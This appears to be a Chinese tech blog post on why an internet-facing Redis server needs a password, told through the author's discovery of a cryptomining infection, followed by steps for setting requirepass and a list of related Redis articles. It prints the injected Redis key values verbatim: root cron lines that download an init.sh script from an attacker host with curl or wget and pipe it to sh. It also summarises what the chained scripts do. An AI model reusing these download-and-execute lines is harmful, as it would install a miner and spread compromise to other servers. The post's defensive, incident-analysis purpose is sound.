一文詳解Redis為什么一定要設(shè)置密碼原理
為什么redis要設(shè)置密碼？
內(nèi)網(wǎng)環(huán)境可以不設(shè)置密碼，但是個人服務(wù)器，以及線上公網(wǎng)服務(wù)器就有必要設(shè)置密碼了。
昨天我查看了一下minio的redis事件通知，查看redis的key時發(fā)現(xiàn)多了幾個奇怪的key。backup1，backup2，backup3。然后我猜想應(yīng)該是挖礦病毒。
如下面所示：這樣就將定時任務(wù)和腳本注入到了我們機器當(dāng)中，就會開始執(zhí)行 init.sh 腳本
backup1 "\n\n\n*/2 * * * * root cd1 -fsSL http://en2an.top/cleanfda/init.sh | sh\n\n" backup2 "\n\n\n*/3 * * * * root wget -q -O- http://en2an.top/cleanfda/init.sh | sh\n\n" backup3 "\n\n\n*/4 * * * * root curl -fsSL http://en2an.top/cleanfda/init.sh | sh\n\n" backup4 "\n\n\n*/5 * * * * root wd1 -q -O- http://en2an.top/cleanfda/init.sh | sh\n\n"
init.sh腳本內(nèi)容是什么？
我們查看這個key的value能得到它會去請求一個地址，我們打開看一下這個init.sh到底是什么東西。
如下圖所示是個腳本文件。
這個腳本還挺多的，關(guān)閉selinux、殺掉別人的挖礦進程、殺掉CPU占用過高的進程，如果是自己就跳過、修改破壞系統(tǒng)命令、自己造一個下載器downloads()函數(shù)、解鎖和加鎖定時任務(wù)、添加挖礦技術(shù)任務(wù)、設(shè)置SSH免密登陸、下載執(zhí)行礦機挖礦程序、關(guān)閉防火墻、清除日志、感染已知的免密機器、下載執(zhí)行is.sh。
is.sh腳本內(nèi)容是什么？
如下圖所示，上面的init.sh會下載我們的is.sh腳本。
我們看一下這個腳本是干什么。
如下圖所示，這個腳本的內(nèi)容也挺多的。下載masscan掃描器、下載pnscan掃描器、安裝 redis 用于創(chuàng)建 redis 未授權(quán)訪問的漏洞、執(zhí)行 rs.sh。
rs.sh腳本內(nèi)容是什么？
上面的連接可以查看這個腳本內(nèi)容是什么。
開放 6379 端口、自動化利用redis未授權(quán)寫入定時任務(wù)，利用 pnscan 掃描b段IP 6379 端口，利用 masscan 進行掃描端口。
Redis如何設(shè)置密碼？
經(jīng)過以上分析，就知道這個病毒主要是通過你的redis注入進去執(zhí)行挖礦腳本。如果你的redis沒有設(shè)置密碼，而且暴露在公網(wǎng)上就要小心了。
可以通過以下兩種方式對我們的redis進行設(shè)置密碼。
方式一：修改我們的redis.conf配置文件
需要注意的是這種方式因為修改了配置文件， 需要重新啟動我們的redis才能生效。
找到我們的redis.conf文件。
Windows如下圖所示
我們編輯此文件，找到requirepass，放開注釋，設(shè)置指定的值就，重啟redis就生效了。
Linux的話，因為大家的安裝方式可能不同，我這邊是通過docker安裝的，做了映射的。這里就不給大家演示了，找到自己安裝在linux的redis目錄找到redis.conf配置文件，跟windows一樣的操作，配置完重啟就Ok了。
方式二
連接我們的redis，然后通過指令的方式設(shè)置密碼。
這種方式比較簡單，而且不需要重啟就生效。
下面的指令的意思就是把密碼設(shè)置為123456，公網(wǎng)可不要設(shè)置這么簡單阿。
config set requirepass 123456
我們查看一下我們的redis的密碼。
config get requirepass
這樣我們的密碼就設(shè)置成功了，退出我們的redis客戶端再次連接的時候就生效了。
總結(jié)
公網(wǎng)的redis一定要設(shè)置密碼阿，不要不設(shè)置密碼，設(shè)置密碼就一個指令，非常容易，可不要偷懶噢。
以上就是一文詳解Redis為什么一定要設(shè)置密碼原理的詳細(xì)內(nèi)容，更多關(guān)于Redis設(shè)置密碼的資料請關(guān)注腳本之家其它相關(guān)文章！
相關(guān)文章
分布式限流是指通過將限流策略嵌入到分布式系統(tǒng)中，以控制流量或保護服務(wù)，本文就來介紹一下Redis分布式限流的幾種實現(xiàn)，感興趣的可以了解一下2023-12-12
Caffeine實現(xiàn)類似redis的動態(tài)過期時間設(shè)置示例
這篇文章主要為大家介紹了Caffeine實現(xiàn)類似redis的動態(tài)過期時間示例,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進步,早日升職加薪2023-08-08
Redis Streams是Redis 5.0新增的數(shù)據(jù)類型,提供了一種日志結(jié)構(gòu)化數(shù)據(jù)存儲方式,這種類型適合用于構(gòu)建消息隊列、事件日志和處理時間序列數(shù)據(jù)的應(yīng)用,本文介紹Redis 數(shù)據(jù)類型Streams相關(guān)知識,感興趣的朋友一起看看吧2024-10-10
Redis的主從復(fù)制存在一定的缺陷,為了解決這一問題,Redis官方推薦一種高可用方案哨兵模式,本文主要介紹了深入理解Redis7哨兵模式,具有一定的參考價值,感興趣的可以了解一下2024-01-01
隨著不斷的發(fā)展,這一架構(gòu)也產(chǎn)生了改進,在一些場景下可能單純使用Redis類的遠(yuǎn)程緩存已經(jīng)不夠了,還需要進一步配合本地緩存使用,例如Guava cache或Caffeine,從而再次提升程序的響應(yīng)速度與服務(wù)性能,這篇文章主要介紹了Redis+Caffeine實現(xiàn)多級緩存,需要的朋友可以參考下2024-01-01
windows下使用redis requirepass認(rèn)證不起作用的解決方法
今天小編就為大家分享一篇windows下使用redis requirepass認(rèn)證不起作用的解決方法，具有很好的參考價值，希望對大家有所幫助。一起跟隨小編過來看看吧2018-05-05
redis發(fā)布和訂閱_動力節(jié)點Java學(xué)院整理
這篇文章主要為大家詳細(xì)介紹了redis發(fā)布和訂閱的相關(guān)資料，具有一定的參考價值，感興趣的小伙伴們可以參考一下2017-08-08
異步redis隊列實現(xiàn) 數(shù)據(jù)入庫的方法
今天小編就為大家分享一篇異步redis隊列實現(xiàn) 數(shù)據(jù)入庫的方法，具有很好的參考價值，希望對大家有所幫助。一起跟隨小編過來看看吧2019-10-10
本文主要介紹了淺談Redis處理接口冪等性的兩種方案，文中通過示例代碼介紹的非常詳細(xì)，對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值，需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧2022-08-08
Redis刪除某個目錄下的數(shù)據(jù)的實現(xiàn)
本文介紹了如何在Redis中刪除指定目錄下的數(shù)據(jù),文中通過示例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧2024-09-09